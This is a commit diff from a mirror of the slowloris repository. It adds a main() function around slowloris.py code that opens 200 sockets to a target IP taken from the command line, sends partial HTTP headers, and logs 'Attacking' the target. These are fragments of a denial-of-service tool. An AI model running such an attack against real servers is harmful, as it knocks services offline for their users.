mirror of https://github.com/Askill/slowloris.git
Added main function to slowloris.py
This commit is contained in:
parent
18cb078818
commit
f5b884ceaf
|
|
@ -26,6 +26,7 @@ def init_socket(ip):
|
||||||
s.send("{}\r\n".format(header).encode("utf-8"))
|
s.send("{}\r\n".format(header).encode("utf-8"))
|
||||||
return s
|
return s
|
||||||
|
|
||||||
|
def main():
|
||||||
ip = sys.argv[1]
|
ip = sys.argv[1]
|
||||||
socket_count = 200
|
socket_count = 200
|
||||||
log("Attacking {} with {} sockets.".format(ip, socket_count))
|
log("Attacking {} with {} sockets.".format(ip, socket_count))
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue